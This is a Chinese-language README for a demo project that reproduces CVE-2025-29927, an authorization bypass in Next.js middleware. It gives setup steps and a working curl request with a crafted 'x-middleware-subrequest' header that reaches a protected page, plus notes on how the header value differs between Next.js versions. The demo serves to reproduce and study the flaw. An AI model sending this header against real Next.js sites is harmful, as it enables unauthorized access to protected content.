Next.js中再现授权绕过漏洞的演示。
关于该漏洞的详细信息,请参阅 Next.js漏洞CVE-2025-29927总结。
git clone https://github.com/t3tra-dev/cve-2025-29927-demo.git
cd cve-2025-29927-demo
git pull origin main
npm install
npm run dev
curl 等工具发送带有 x-middleware-subrequest 头部的请求。curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/protected
这将导致授权绕过,使得可以访问 /protected 页面。
middleware 的值是 Next.js 可识别的中间件的名称。在此演示应用中,存在名为 middleware 的中间件,因此指定此值会导致授权绕过。
[!TIP] 在 Next.js 15.x 中,
MAX_RECURSION_DEPTH被设置为 5,因此需要使用:将 middleware 的值重复分隔 5 次以上。在旧版本 (14.x) 中,仅需 "middleware" 一次即可。此演示应用使用的是 Next.js 15.2.2,因此需要这样的值。